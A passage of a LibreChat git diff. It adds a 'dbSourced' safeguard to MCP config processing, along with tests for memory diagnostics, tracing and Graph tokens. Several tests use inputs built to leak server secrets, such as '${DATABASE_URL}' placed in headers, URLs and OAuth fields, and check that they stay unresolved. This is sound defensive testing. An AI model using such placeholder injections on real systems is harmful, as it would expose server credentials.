+ })), + }, +})); + +jest.mock('~/mcp/MCPManager', () => ({ + MCPManager: { + getInstance: jest.fn(() => ({ + getConnectionStats: jest.fn(() => null), + })), + }, +})); + +import { logger } from '@librechat/data-schemas'; +import { memoryDiagnostics } from '../memory'; + +type MockFn = jest.Mock; + +const debugMock = logger.debug as unknown as MockFn; +const infoMock = logger.info as unknown as MockFn; +const warnMock = logger.warn as unknown as MockFn; + +function callsContaining(mock: MockFn, substring: string): unknown[][] { + return mock.mock.calls.filter( + (args) => typeof args[0] === 'string' && (args[0] as string).includes(substring), + ); +} + +beforeEach(() => { + jest.clearAllMocks(); + jest.useFakeTimers(); + memoryDiagnostics.stop(); + + const snaps = memoryDiagnostics.getSnapshots() as unknown[]; + snaps.length = 0; +}); + +afterEach(() => { + memoryDiagnostics.stop(); + jest.useRealTimers(); +}); + +describe('memoryDiagnostics', () => { + describe('collectSnapshot', () => { + it('pushes a snapshot with expected shape', () => { + memoryDiagnostics.collectSnapshot(); + + const snaps = memoryDiagnostics.getSnapshots(); + expect(snaps).toHaveLength(1); + expect(snaps[0]).toEqual( + expect.objectContaining({ + ts: expect.any(Number), + rss: expect.any(Number), + heapUsed: expect.any(Number), + heapTotal: expect.any(Number), + external: expect.any(Number), + arrayBuffers: expect.any(Number), + }), + ); + }); + + it('caps history at 120 snapshots', () => { + for (let i = 0; i < 130; i++) { + memoryDiagnostics.collectSnapshot(); + } + expect(memoryDiagnostics.getSnapshots()).toHaveLength(120); + }); + + it('does not log trend with fewer than 3 snapshots', () => { + memoryDiagnostics.collectSnapshot(); + memoryDiagnostics.collectSnapshot(); + + expect(callsContaining(debugMock, 'Trend')).toHaveLength(0); + }); + + it('skips trend when elapsed time is under 0.1 minutes', () => { + memoryDiagnostics.collectSnapshot(); + memoryDiagnostics.collectSnapshot(); + memoryDiagnostics.collectSnapshot(); + + expect(callsContaining(debugMock, 'Trend')).toHaveLength(0); + }); + + it('logs trend data when enough time has elapsed', () => { + memoryDiagnostics.collectSnapshot(); + + jest.advanceTimersByTime(7_000); + memoryDiagnostics.collectSnapshot(); + + jest.advanceTimersByTime(7_000); + memoryDiagnostics.collectSnapshot(); + + const trendCalls = callsContaining(debugMock, 'Trend'); + expect(trendCalls.length).toBeGreaterThanOrEqual(1); + + const trendPayload = trendCalls[0][1] as Record; + expect(trendPayload).toHaveProperty('rssRate'); + expect(trendPayload).toHaveProperty('heapRate'); + expect(trendPayload.rssRate).toMatch(/MB\/hr$/); + expect(trendPayload.heapRate).toMatch(/MB\/hr$/); + expect(trendPayload.rssRate).not.toBe('Infinity MB/hr'); + expect(trendPayload.heapRate).not.toBe('Infinity MB/hr'); + }); + }); + + describe('start / stop', () => { + it('start is idempotent — calling twice does not create two intervals', () => { + memoryDiagnostics.start(); + memoryDiagnostics.start(); + + expect(callsContaining(infoMock, 'Starting')).toHaveLength(1); + }); + + it('stop is idempotent — calling twice does not error', () => { + memoryDiagnostics.start(); + memoryDiagnostics.stop(); + memoryDiagnostics.stop(); + + expect(callsContaining(infoMock, 'Stopped')).toHaveLength(1); + }); + + it('collects an immediate snapshot on start', () => { + expect(memoryDiagnostics.getSnapshots()).toHaveLength(0); + memoryDiagnostics.start(); + expect(memoryDiagnostics.getSnapshots().length).toBeGreaterThanOrEqual(1); + }); + }); + + describe('forceGC', () => { + it('returns false and warns when gc is not exposed', () => { + const origGC = global.gc; + global.gc = undefined; + + const result = memoryDiagnostics.forceGC(); + + expect(result).toBe(false); + expect(warnMock).toHaveBeenCalledWith(expect.stringContaining('GC not exposed')); + + global.gc = origGC; + }); + + it('calls gc and returns true when gc is exposed', () => { + const mockGC = jest.fn(); + global.gc = mockGC; + + const result = memoryDiagnostics.forceGC(); + + expect(result).toBe(true); + expect(mockGC).toHaveBeenCalledTimes(1); + expect(infoMock).toHaveBeenCalledWith(expect.stringContaining('Forced garbage collection')); + + global.gc = undefined; + }); + }); +}); diff --git a/packages/api/src/utils/__tests__/tracing.test.ts b/packages/api/src/utils/__tests__/tracing.test.ts new file mode 100644 index 0000000000..679b28e327 --- /dev/null +++ b/packages/api/src/utils/__tests__/tracing.test.ts @@ -0,0 +1,137 @@ +import { AsyncLocalStorage } from 'node:async_hooks'; + +const TRACING_ALS_KEY = Symbol.for('ls:tracing_async_local_storage'); +const typedGlobal = globalThis as typeof globalThis & Record>; + +let originalStorage: AsyncLocalStorage | undefined; + +beforeEach(() => { + originalStorage = typedGlobal[TRACING_ALS_KEY]; + jest.restoreAllMocks(); +}); + +afterEach(() => { + if (originalStorage) { + typedGlobal[TRACING_ALS_KEY] = originalStorage; + } else { + delete typedGlobal[TRACING_ALS_KEY]; + } + delete process.env.LANGCHAIN_TRACING_V2; +}); + +async function freshImport(): Promise { + jest.resetModules(); + return import('../tracing'); +} + +describe('runOutsideTracing', () => { + it('clears the ALS context to undefined inside fn', async () => { + const als = new AsyncLocalStorage(); + typedGlobal[TRACING_ALS_KEY] = als as AsyncLocalStorage; + + const { runOutsideTracing } = await freshImport(); + + let captured: string | undefined = 'NOT_CLEARED'; + als.run('should-not-propagate', () => { + runOutsideTracing(() => { + captured = als.getStore(); + }); + }); + + expect(captured).toBeUndefined(); + }); + + it('returns the value produced by fn (sync)', async () => { + const als = new AsyncLocalStorage(); + typedGlobal[TRACING_ALS_KEY] = als as AsyncLocalStorage; + + const { runOutsideTracing } = await freshImport(); + + const result = als.run('ctx', () => runOutsideTracing(() => 42)); + expect(result).toBe(42); + }); + + it('returns the promise produced by fn (async)', async () => { + const als = new AsyncLocalStorage(); + typedGlobal[TRACING_ALS_KEY] = als as AsyncLocalStorage; + + const { runOutsideTracing } = await freshImport(); + + const result = await als.run('ctx', () => + runOutsideTracing(async () => { + await Promise.resolve(); + return 'async-value'; + }), + ); + expect(result).toBe('async-value'); + }); + + it('propagates sync errors thrown inside fn', async () => { + const als = new AsyncLocalStorage(); + typedGlobal[TRACING_ALS_KEY] = als as AsyncLocalStorage; + + const { runOutsideTracing } = await freshImport(); + + expect(() => + runOutsideTracing(() => { + throw new Error('boom'); + }), + ).toThrow('boom'); + }); + + it('propagates async rejections from fn', async () => { + const als = new AsyncLocalStorage(); + typedGlobal[TRACING_ALS_KEY] = als as AsyncLocalStorage; + + const { runOutsideTracing } = await freshImport(); + + await expect( + runOutsideTracing(async () => { + throw new Error('async-boom'); + }), + ).rejects.toThrow('async-boom'); + }); + + it('falls back to fn() when ALS is not on globalThis', async () => { + delete typedGlobal[TRACING_ALS_KEY]; + + const { runOutsideTracing } = await freshImport(); + + const result = runOutsideTracing(() => 'fallback'); + expect(result).toBe('fallback'); + }); + + it('does not warn when LANGCHAIN_TRACING_V2 is not set', async () => { + delete typedGlobal[TRACING_ALS_KEY]; + delete process.env.LANGCHAIN_TRACING_V2; + + const warnSpy = jest.fn(); + jest.resetModules(); + jest.doMock('@librechat/data-schemas', () => ({ + logger: { warn: warnSpy }, + })); + const { runOutsideTracing } = await import('../tracing'); + + runOutsideTracing(() => 'ok'); + expect(warnSpy).not.toHaveBeenCalled(); + }); + + it('warns once when LANGCHAIN_TRACING_V2 is set but ALS is missing', async () => { + delete typedGlobal[TRACING_ALS_KEY]; + process.env.LANGCHAIN_TRACING_V2 = 'true'; + + const warnSpy = jest.fn(); + jest.resetModules(); + jest.doMock('@librechat/data-schemas', () => ({ + logger: { warn: warnSpy }, + })); + const { runOutsideTracing } = await import('../tracing'); + + runOutsideTracing(() => 'first'); + runOutsideTracing(() => 'second'); + expect(warnSpy).toHaveBeenCalledTimes(1); + expect(warnSpy).toHaveBeenCalledWith( + expect.stringContaining('LANGCHAIN_TRACING_V2 is set but ALS not found'), + ); + }); +}); diff --git a/packages/api/src/utils/env.spec.ts b/packages/api/src/utils/env.spec.ts index eec15c1c25..c241cb2b51 100644 --- a/packages/api/src/utils/env.spec.ts +++ b/packages/api/src/utils/env.spec.ts @@ -1,13 +1,8 @@ +import { Types } from 'mongoose'; import { TokenExchangeMethodEnum } from 'librechat-data-provider'; -import { - resolveHeaders, - resolveNestedObject, - processMCPEnv, - encodeHeaderValue, -} from './env'; import type { MCPOptions } from 'librechat-data-provider'; import type { IUser } from '@librechat/data-schemas'; -import { Types } from 'mongoose'; +import { resolveHeaders, resolveNestedObject, processMCPEnv, encodeHeaderValue } from './env'; function isStdioOptions(options: MCPOptions): options is Extract { return !options.type || options.type === 'stdio'; @@ -43,15 +38,14 @@ describe('encodeHeaderValue', () => { }); it('should return empty string for null/undefined coerced to empty string', () => { - // TypeScript would prevent these, but testing runtime behavior - expect(encodeHeaderValue(null as any)).toBe(''); - expect(encodeHeaderValue(undefined as any)).toBe(''); + expect(encodeHeaderValue(null as unknown as string)).toBe(''); + expect(encodeHeaderValue(undefined as unknown as string)).toBe(''); }); it('should return empty string for non-string values', () => { - expect(encodeHeaderValue(123 as any)).toBe(''); - expect(encodeHeaderValue(false as any)).toBe(''); - expect(encodeHeaderValue({} as any)).toBe(''); + expect(encodeHeaderValue(123 as unknown as string)).toBe(''); + expect(encodeHeaderValue(false as unknown as string)).toBe(''); + expect(encodeHeaderValue({} as unknown as string)).toBe(''); }); it('should pass through ASCII characters (0-127) unchanged', () => { @@ -1612,4 +1606,365 @@ describe('processMCPEnv', () => { } }); }); + + describe('dbSourced flag', () => { + beforeEach(() => { + process.env.TEST_API_KEY = 'test-api-key-value'; + process.env.DATABASE_URL = 'mongodb://secret-host:27017/db'; + }); + + afterEach(() => { + delete process.env.TEST_API_KEY; + delete process.env.DATABASE_URL; + }); + + it('should resolve customUserVars when dbSourced is true', () => { + const options: MCPOptions = { + type: 'streamable-http', + url: 'https://api.example.com', + headers: { + Authorization: 'Bearer {{MCP_API_KEY}}', + }, + }; + + const result = processMCPEnv({ + options, + dbSourced: true, + customUserVars: { MCP_API_KEY: 'user-secret-key' }, + }); + + if (isStreamableHTTPOptions(result)) { + expect(result.headers?.Authorization).toBe('Bearer user-secret-key'); + } else { + throw new Error('Expected streamable-http options'); + } + }); + + it('should NOT resolve ${ENV_VAR} when dbSourced is true', () => { + const options: MCPOptions = { + type: 'streamable-http', + url: 'https://api.example.com', + headers: { + 'X-Leaked': '${DATABASE_URL}', + 'X-Key': '${TEST_API_KEY}', + }, + }; + + const result = processMCPEnv({ options, dbSourced: true }); + + if (isStreamableHTTPOptions(result)) { + expect(result.headers?.['X-Leaked']).toBe('${DATABASE_URL}'); + expect(result.headers?.['X-Key']).toBe('${TEST_API_KEY}'); + } else { + throw new Error('Expected streamable-http options'); + } + }); + + it('should NOT resolve {{LIBRECHAT_USER_*}} when dbSourced is true', () => { + const user = createTestUser({ id: 'user-123', email: 'test@example.com' }); + const options: MCPOptions = { + type: 'streamable-http', + url: 'https://api.example.com', + headers: { + 'X-User-Id': '{{LIBRECHAT_USER_ID}}', + 'X-User-Email': '{{LIBRECHAT_USER_EMAIL}}', + }, + }; + + const result = processMCPEnv({ options, user, dbSourced: true }); + + if (isStreamableHTTPOptions(result)) { + expect(result.headers?.['X-User-Id']).toBe('{{LIBRECHAT_USER_ID}}'); + expect(result.headers?.['X-User-Email']).toBe('{{LIBRECHAT_USER_EMAIL}}'); + } else { + throw new Error('Expected streamable-http options'); + } + }); + + it('should NOT resolve {{LIBRECHAT_OPENID_*}} when dbSourced is true', () => { + const user = { + ...createTestUser({ id: 'user-123', provider: 'openid' }), + federatedTokens: { + access_token: 'oidc-access-token', + id_token: 'oidc-id-token', + refresh_token: 'oidc-refresh-token', + token_type: 'Bearer', + expires_at: Date.now() + 3600000, + }, + }; + const options: MCPOptions = { + type: 'streamable-http', + url: 'https://api.example.com', + headers: { + Authorization: 'Bearer {{LIBRECHAT_OPENID_ACCESS_TOKEN}}', + }, + }; + + const result = processMCPEnv({ options, user, dbSourced: true }); + + if (isStreamableHTTPOptions(result)) { + expect(result.headers?.Authorization).toBe('Bearer {{LIBRECHAT_OPENID_ACCESS_TOKEN}}'); + } else { + throw new Error('Expected streamable-http options'); + } + }); + + it('should NOT resolve {{LIBRECHAT_BODY_*}} when dbSourced is true', () => { + const body = { + conversationId: 'conv-123', + parentMessageId: 'parent-456', + messageId: 'msg-789', + }; + const options: MCPOptions = { + type: 'streamable-http', + url: 'https://api.example.com', + headers: { + 'X-Conversation': '{{LIBRECHAT_BODY_CONVERSATIONID}}', + }, + }; + + const result = processMCPEnv({ options, body, dbSourced: true }); + + if (isStreamableHTTPOptions(result)) { + expect(result.headers?.['X-Conversation']).toBe('{{LIBRECHAT_BODY_CONVERSATIONID}}'); + } else { + throw new Error('Expected streamable-http options'); + } + }); + + it('should resolve customUserVars but block all other placeholders when dbSourced is true', () => { + const user = createTestUser({ id: 'user-123' }); + const body = { conversationId: 'conv-123', parentMessageId: 'p-1', messageId: 'm-1' }; + const options: MCPOptions = { + type: 'streamable-http', + url: '${DATABASE_URL}', + headers: { + Authorization: 'Bearer {{MCP_API_KEY}}', + 'X-Env-Leak': '${TEST_API_KEY}', + 'X-User-Id': '{{LIBRECHAT_USER_ID}}', + 'X-Body': '{{LIBRECHAT_BODY_CONVERSATIONID}}', + }, + }; + + const result = processMCPEnv({ + options, + user, + body, + dbSourced: true, + customUserVars: { MCP_API_KEY: 'user-key-value' }, + }); + + if (isStreamableHTTPOptions(result)) { + expect(result.headers?.Authorization).toBe('Bearer user-key-value'); + expect(result.headers?.['X-Env-Leak']).toBe('${TEST_API_KEY}'); + expect(result.headers?.['X-User-Id']).toBe('{{LIBRECHAT_USER_ID}}'); + expect(result.headers?.['X-Body']).toBe('{{LIBRECHAT_BODY_CONVERSATIONID}}'); + expect(result.url).toBe('${DATABASE_URL}'); + } else { + throw new Error('Expected streamable-http options'); + } + }); + + it('should resolve all placeholders when dbSourced is false (default)', () => { + const user = createTestUser({ id: 'user-123' }); + const options: MCPOptions = { + type: 'streamable-http', + url: 'https://api.example.com', + headers: { + Authorization: 'Bearer {{MCP_API_KEY}}', + 'X-Env': '${TEST_API_KEY}', + 'X-User-Id': '{{LIBRECHAT_USER_ID}}', + }, + }; + + const result = processMCPEnv({ + options, + user, + dbSourced: false, + customUserVars: { MCP_API_KEY: 'user-key-value' }, + }); + + if (isStreamableHTTPOptions(result)) { + expect(result.headers?.Authorization).toBe('Bearer user-key-value'); + expect(result.headers?.['X-Env']).toBe('test-api-key-value'); + expect(result.headers?.['X-User-Id']).toBe('user-123'); + } else { + throw new Error('Expected streamable-http options'); + } + }); + + it('should apply dbSourced to env, args, and URL — not just headers', () => { + const options: MCPOptions = { + type: 'stdio', + command: 'mcp-server', + args: ['--key', '${TEST_API_KEY}', '--custom', '{{MY_VAR}}'], + env: { + SECRET: '${DATABASE_URL}', + CUSTOM: '{{MY_VAR}}', + }, + }; + + const result = processMCPEnv({ + options, + dbSourced: true, + customUserVars: { MY_VAR: 'resolved-value' }, + }); + + if (isStdioOptions(result)) { + expect(result.env?.SECRET).toBe('${DATABASE_URL}'); + expect(result.env?.CUSTOM).toBe('resolved-value'); + expect(result.args?.[1]).toBe('${TEST_API_KEY}'); + expect(result.args?.[3]).toBe('resolved-value'); + } else { + throw new Error('Expected stdio options'); + } + }); + + it('should still apply admin API key header injection when dbSourced is true', () => { + const options: MCPOptions = { + type: 'streamable-http', + url: 'https://api.example.com', + apiKey: { + source: 'admin', + authorization_type: 'bearer', + key: 'admin-managed-key', + }, + }; + + const result = processMCPEnv({ options, dbSourced: true }); + + if (isStreamableHTTPOptions(result)) { + expect(result.headers?.Authorization).toBe('Bearer admin-managed-key'); + } else { + throw new Error('Expected streamable-http options'); + } + }); + + it('should block env vars in OAuth config when dbSourced is true', () => { + const options: MCPOptions = { + type: 'streamable-http', + url: 'https://api.example.com', + oauth: { + client_id: '${TEST_API_KEY}', + client_secret: '${DATABASE_URL}', + token_url: 'https://auth.example.com/token', + token_exchange_method: TokenExchangeMethodEnum.DefaultPost, + }, + }; + + const result = processMCPEnv({ options, dbSourced: true }); + + const oauth = (result as { oauth?: Record }).oauth; + expect(oauth?.client_id).toBe('${TEST_API_KEY}'); + expect(oauth?.client_secret).toBe('${DATABASE_URL}'); + }); + + it('should resolve customUserVars in OAuth config when dbSourced is true', () => { + const options: MCPOptions = { + type: 'streamable-http', + url: 'https://api.example.com', + oauth: { + client_id: '{{MY_CLIENT_ID}}', + client_secret: '{{MY_CLIENT_SECRET}}', + token_url: 'https://auth.example.com/token', + token_exchange_method: TokenExchangeMethodEnum.DefaultPost, + }, + }; + + const result = processMCPEnv({ + options, + dbSourced: true, + customUserVars: { MY_CLIENT_ID: 'resolved-client', MY_CLIENT_SECRET: 'resolved-secret' }, + }); + + const oauth = (result as { oauth?: Record }).oauth; + expect(oauth?.client_id).toBe('resolved-client'); + expect(oauth?.client_secret).toBe('resolved-secret'); + }); + + it('should leave unresolved customUserVars as literal placeholders', () => { + const options: MCPOptions = { + type: 'streamable-http', + url: 'https://api.example.com', + headers: { + Authorization: 'Bearer {{MCP_API_KEY}}', + }, + }; + + // No customUserVars provided — placeholder should remain + const result = processMCPEnv({ options, dbSourced: true }); + + if (isStreamableHTTPOptions(result)) { + expect(result.headers?.Authorization).toBe('Bearer {{MCP_API_KEY}}'); + } else { + throw new Error('Expected streamable-http options'); + } + }); + + it('should not modify the original options when dbSourced is true', () => { + const options: MCPOptions = { + type: 'streamable-http', + url: '${DATABASE_URL}', + headers: { + Authorization: 'Bearer {{MCP_API_KEY}}', + 'X-Env': '${TEST_API_KEY}', + }, + }; + + const originalUrl = options.url; + const originalAuth = (options as { headers: Record }).headers.Authorization; + + processMCPEnv({ + options, + dbSourced: true, + customUserVars: { MCP_API_KEY: 'resolved' }, + }); + + expect(options.url).toBe(originalUrl); + expect((options as { headers: Record }).headers.Authorization).toBe( + originalAuth, + ); + }); + + it('should handle empty customUserVars object without errors', () => { + const options: MCPOptions = { + type: 'streamable-http', + url: 'https://api.example.com', + headers: { + 'X-Key': '${TEST_API_KEY}', + 'X-Custom': '{{MCP_API_KEY}}', + }, + }; + + const result = processMCPEnv({ options, dbSourced: true, customUserVars: {} }); + + if (isStreamableHTTPOptions(result)) { + expect(result.headers?.['X-Key']).toBe('${TEST_API_KEY}'); + expect(result.headers?.['X-Custom']).toBe('{{MCP_API_KEY}}'); + } else { + throw new Error('Expected streamable-http options'); + } + }); + + it('dbSourced undefined should behave like false (resolve everything)', () => { + const user = createTestUser({ id: 'user-abc' }); + const options: MCPOptions = { + type: 'streamable-http', + url: 'https://api.example.com', + headers: { + 'X-Env': '${TEST_API_KEY}', + 'X-User': '{{LIBRECHAT_USER_ID}}', + }, + }; + + const result = processMCPEnv({ options, user }); + + if (isStreamableHTTPOptions(result)) { + expect(result.headers?.['X-Env']).toBe('test-api-key-value'); + expect(result.headers?.['X-User']).toBe('user-abc'); + } else { + throw new Error('Expected streamable-http options'); + } + }); + }); }); diff --git a/packages/api/src/utils/env.ts b/packages/api/src/utils/env.ts index 5a8ea19ac3..78d6f9ebdf 100644 --- a/packages/api/src/utils/env.ts +++ b/packages/api/src/utils/env.ts @@ -46,10 +46,10 @@ type SafeUser = Pick; * if (headerValue.startsWith('b64:')) { * const decoded = Buffer.from(headerValue.slice(4), 'base64').toString('utf8'); * } - * + * * @param value - The string value to encode * @returns ASCII-safe string (encoded if necessary) - * + * * @example * encodeHeaderValue("José") // Returns "José" (é = 233, safe) * encodeHeaderValue("Marić") // Returns "b64:TWFyacSH" (ć = 263, needs encoding) @@ -59,17 +59,17 @@ export function encodeHeaderValue(value: string): string { if (!value || typeof value !== 'string') { return ''; } - + // Check if string contains extended Unicode characters (> 255) // Characters 0-255 (ASCII + Latin-1) are safe and don't need encoding // Characters > 255 (e.g., ć=263, đ=272, ł=322) need Base64 encoding // eslint-disable-next-line no-control-regex const hasExtendedUnicode = /[^\u0000-\u00FF]/.test(value); - + if (!hasExtendedUnicode) { return value; // Safe to pass through } - + // Encode to Base64 for extended Unicode characters const base64 = Buffer.from(value, 'utf8').toString('base64'); return `b64:${base64}`; @@ -118,7 +118,11 @@ const ALLOWED_BODY_FIELDS = ['conversationId', 'parentMessageId', 'messageId'] a * @param isHeader - Whether this value will be used in an HTTP header * @returns The processed string with placeholders replaced (and encoded if necessary) */ -function processUserPlaceholders(value: string, user?: IUser, isHeader: boolean = false): string { +function processUserPlaceholders( + value: string, + user?: Partial, + isHeader: boolean = false, +): string { if (!user || typeof value !== 'string') { return value; } @@ -205,12 +209,15 @@ function processSingleValue({ user, body = undefined, isHeader = false, + dbSourced = false, }: { originalValue: string; customUserVars?: Record; - user?: IUser; + user?: Partial; body?: RequestBody; isHeader?: boolean; + /** When true, only resolve customUserVars — skip env vars, user/OpenID/body placeholders */ + dbSourced?: boolean; }): string { // Type guard: ensure we're working with a string if (typeof originalValue !== 'string') { @@ -228,6 +235,10 @@ function processSingleValue({ } } + if (dbSourced) { + return value; + } + value = processUserPlaceholders(value, user, isHeader); const openidTokenInfo = extractOpenIDTokenInfo(user); @@ -254,10 +265,12 @@ function processSingleValue({ * @returns - The processed object with environment variables replaced */ export function processMCPEnv(params: { - options: Readonly; - user?: IUser; + options: Readonly & { dbId?: string }; + user?: Partial; customUserVars?: Record; body?: RequestBody; + /** When true, only resolve customUserVars — skip env vars, user/OpenID/body placeholders (for DB-stored servers) */ + dbSourced?: boolean; }): MCPOptions { const { options, user, customUserVars, body } = params; @@ -265,6 +278,9 @@ export function processMCPEnv(params: { return options; } + /** Derive dbSourced from explicit param OR from dbId on the options (failsafe for callers that forget the flag) */ + const dbSourced = params.dbSourced ?? !!options.dbId; + const newObj: MCPOptions = structuredClone(options); // Apply admin-provided API key to headers at runtime @@ -302,7 +318,13 @@ export function processMCPEnv(params: { if ('env' in newObj && newObj.env) { const processedEnv: Record = {}; for (const [key, originalValue] of Object.entries(newObj.env)) { - processedEnv[key] = processSingleValue({ originalValue, customUserVars, user, body }); + processedEnv[key] = processSingleValue({ + user, + body, + dbSourced, + originalValue, + customUserVars, + }); } newObj.env = processedEnv; } @@ -310,7 +332,9 @@ export function processMCPEnv(params: { if ('args' in newObj && newObj.args) { const processedArgs: string[] = []; for (const originalValue of newObj.args) { - processedArgs.push(processSingleValue({ originalValue, customUserVars, user, body })); + processedArgs.push( + processSingleValue({ originalValue, customUserVars, user, body, dbSourced }), + ); } newObj.args = processedArgs; } @@ -321,10 +345,11 @@ export function processMCPEnv(params: { const processedHeaders: Record = {}; for (const [key, originalValue] of Object.entries(newObj.headers)) { processedHeaders[key] = processSingleValue({ - originalValue, - customUserVars, user, body, + dbSourced, + originalValue, + customUserVars, isHeader: true, // Important: Enable header encoding }); } @@ -333,7 +358,13 @@ export function processMCPEnv(params: { // Process URL if it exists (for WebSocket, SSE, StreamableHTTP types) if ('url' in newObj && newObj.url) { - newObj.url = processSingleValue({ originalValue: newObj.url, customUserVars, user, body }); + newObj.url = processSingleValue({ + user, + body, + dbSourced, + customUserVars, + originalValue: newObj.url, + }); } // Process OAuth configuration if it exists (for all transport types) @@ -343,7 +374,13 @@ export function processMCPEnv(params: { // Only process string values for environment variables // token_exchange_method is an enum and shouldn't be processed if (typeof originalValue === 'string') { - processedOAuth[key] = processSingleValue({ originalValue, customUserVars, user, body }); + processedOAuth[key] = processSingleValue({ + user, + body, + dbSourced, + originalValue, + customUserVars, + }); } else { processedOAuth[key] = originalValue; } diff --git a/packages/api/src/utils/graph.spec.ts b/packages/api/src/utils/graph.spec.ts new file mode 100644 index 0000000000..4f1fa14983 --- /dev/null +++ b/packages/api/src/utils/graph.spec.ts @@ -0,0 +1,467 @@ +import type { TUser } from 'librechat-data-provider'; +import type { GraphTokenResolver, GraphTokenOptions } from './graph'; +import { + containsGraphTokenPlaceholder, + recordContainsGraphTokenPlaceholder, + mcpOptionsContainGraphTokenPlaceholder, + resolveGraphTokenPlaceholder, + resolveGraphTokensInRecord, + preProcessGraphTokens, +} from './graph'; + +// Mock the logger +jest.mock('@librechat/data-schemas', () => ({ + logger: { + warn: jest.fn(), + error: jest.fn(), + }, +})); + +// Mock the oidc module +jest.mock('./oidc', () => ({ + GRAPH_TOKEN_PLACEHOLDER: '{{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + DEFAULT_GRAPH_SCOPES: 'https://graph.microsoft.com/.default', + extractOpenIDTokenInfo: jest.fn(), + isOpenIDTokenValid: jest.fn(), +})); + +import { extractOpenIDTokenInfo, isOpenIDTokenValid } from './oidc'; + +const mockExtractOpenIDTokenInfo = extractOpenIDTokenInfo as jest.Mock; +const mockIsOpenIDTokenValid = isOpenIDTokenValid as jest.Mock; + +describe('Graph Token Utilities', () => { + beforeEach(() => { + jest.clearAllMocks(); + }); + + describe('containsGraphTokenPlaceholder', () => { + it('should return true when string contains the placeholder', () => { + const value = 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}'; + expect(containsGraphTokenPlaceholder(value)).toBe(true); + }); + + it('should return false when string does not contain the placeholder', () => { + const value = 'Bearer some-static-token'; + expect(containsGraphTokenPlaceholder(value)).toBe(false); + }); + + it('should return false for empty string', () => { + expect(containsGraphTokenPlaceholder('')).toBe(false); + }); + + it('should return false for non-string values', () => { + expect(containsGraphTokenPlaceholder(123 as unknown as string)).toBe(false); + expect(containsGraphTokenPlaceholder(null as unknown as string)).toBe(false); + expect(containsGraphTokenPlaceholder(undefined as unknown as string)).toBe(false); + }); + + it('should detect placeholder in the middle of a string', () => { + const value = 'prefix-{{LIBRECHAT_GRAPH_ACCESS_TOKEN}}-suffix'; + expect(containsGraphTokenPlaceholder(value)).toBe(true); + }); + }); + + describe('recordContainsGraphTokenPlaceholder', () => { + it('should return true when any value contains the placeholder', () => { + const record = { + Authorization: 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + 'Content-Type': 'application/json', + }; + expect(recordContainsGraphTokenPlaceholder(record)).toBe(true); + }); + + it('should return false when no value contains the placeholder', () => { + const record = { + Authorization: 'Bearer static-token', + 'Content-Type': 'application/json', + }; + expect(recordContainsGraphTokenPlaceholder(record)).toBe(false); + }); + + it('should return false for undefined record', () => { + expect(recordContainsGraphTokenPlaceholder(undefined)).toBe(false); + }); + + it('should return false for null record', () => { + expect(recordContainsGraphTokenPlaceholder(null as unknown as Record)).toBe( + false, + ); + }); + + it('should return false for empty record', () => { + expect(recordContainsGraphTokenPlaceholder({})).toBe(false); + }); + + it('should return false for non-object values', () => { + expect(recordContainsGraphTokenPlaceholder('string' as unknown as Record)).toBe( + false, + ); + }); + }); + + describe('mcpOptionsContainGraphTokenPlaceholder', () => { + it('should return true when url contains the placeholder', () => { + const options = { + url: 'https://api.example.com?token={{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + }; + expect(mcpOptionsContainGraphTokenPlaceholder(options)).toBe(true); + }); + + it('should return true when headers contain the placeholder', () => { + const options = { + headers: { + Authorization: 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + }, + }; + expect(mcpOptionsContainGraphTokenPlaceholder(options)).toBe(true); + }); + + it('should return true when env contains the placeholder', () => { + const options = { + env: { + GRAPH_TOKEN: '{{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + }, + }; + expect(mcpOptionsContainGraphTokenPlaceholder(options)).toBe(true); + }); + + it('should return false when no field contains the placeholder', () => { + const options = { + url: 'https://api.example.com', + headers: { Authorization: 'Bearer static-token' }, + env: { API_KEY: 'some-key' }, + }; + expect(mcpOptionsContainGraphTokenPlaceholder(options)).toBe(false); + }); + + it('should return false for empty options', () => { + expect(mcpOptionsContainGraphTokenPlaceholder({})).toBe(false); + }); + }); + + describe('resolveGraphTokenPlaceholder', () => { + const mockUser: Partial = { + id: 'user-123', + provider: 'openid', + openidId: 'oidc-sub-456', + }; + + const mockGraphTokenResolver: GraphTokenResolver = jest.fn().mockResolvedValue({ + access_token: 'resolved-graph-token', + token_type: 'Bearer', + expires_in: 3600, + scope: 'https://graph.microsoft.com/.default', + }); + + it('should return original value when no placeholder is present', async () => { + const value = 'Bearer static-token'; + const result = await resolveGraphTokenPlaceholder(value, { + user: mockUser as TUser, + graphTokenResolver: mockGraphTokenResolver, + }); + expect(result).toBe('Bearer static-token'); + }); + + it('should return original value when user is not provided', async () => { + const value = 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}'; + const result = await resolveGraphTokenPlaceholder(value, { + graphTokenResolver: mockGraphTokenResolver, + }); + expect(result).toBe(value); + }); + + it('should return original value when graphTokenResolver is not provided', async () => { + const value = 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}'; + const result = await resolveGraphTokenPlaceholder(value, { + user: mockUser as TUser, + }); + expect(result).toBe(value); + }); + + it('should return original value when token info is invalid', async () => { + mockExtractOpenIDTokenInfo.mockReturnValue(null); + + const value = 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}'; + const result = await resolveGraphTokenPlaceholder(value, { + user: mockUser as TUser, + graphTokenResolver: mockGraphTokenResolver, + }); + expect(result).toBe(value); + }); + + it('should return original value when token is not valid', async () => { + mockExtractOpenIDTokenInfo.mockReturnValue({ accessToken: 'access-token' }); + mockIsOpenIDTokenValid.mockReturnValue(false); + + const value = 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}'; + const result = await resolveGraphTokenPlaceholder(value, { + user: mockUser as TUser, + graphTokenResolver: mockGraphTokenResolver, + }); + expect(result).toBe(value); + }); + + it('should return original value when access token is missing', async () => { + mockExtractOpenIDTokenInfo.mockReturnValue({ userId: 'user-123' }); + mockIsOpenIDTokenValid.mockReturnValue(true); + + const value = 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}'; + const result = await resolveGraphTokenPlaceholder(value, { + user: mockUser as TUser, + graphTokenResolver: mockGraphTokenResolver, + }); + expect(result).toBe(value); + }); + + it('should resolve placeholder with graph token', async () => { + 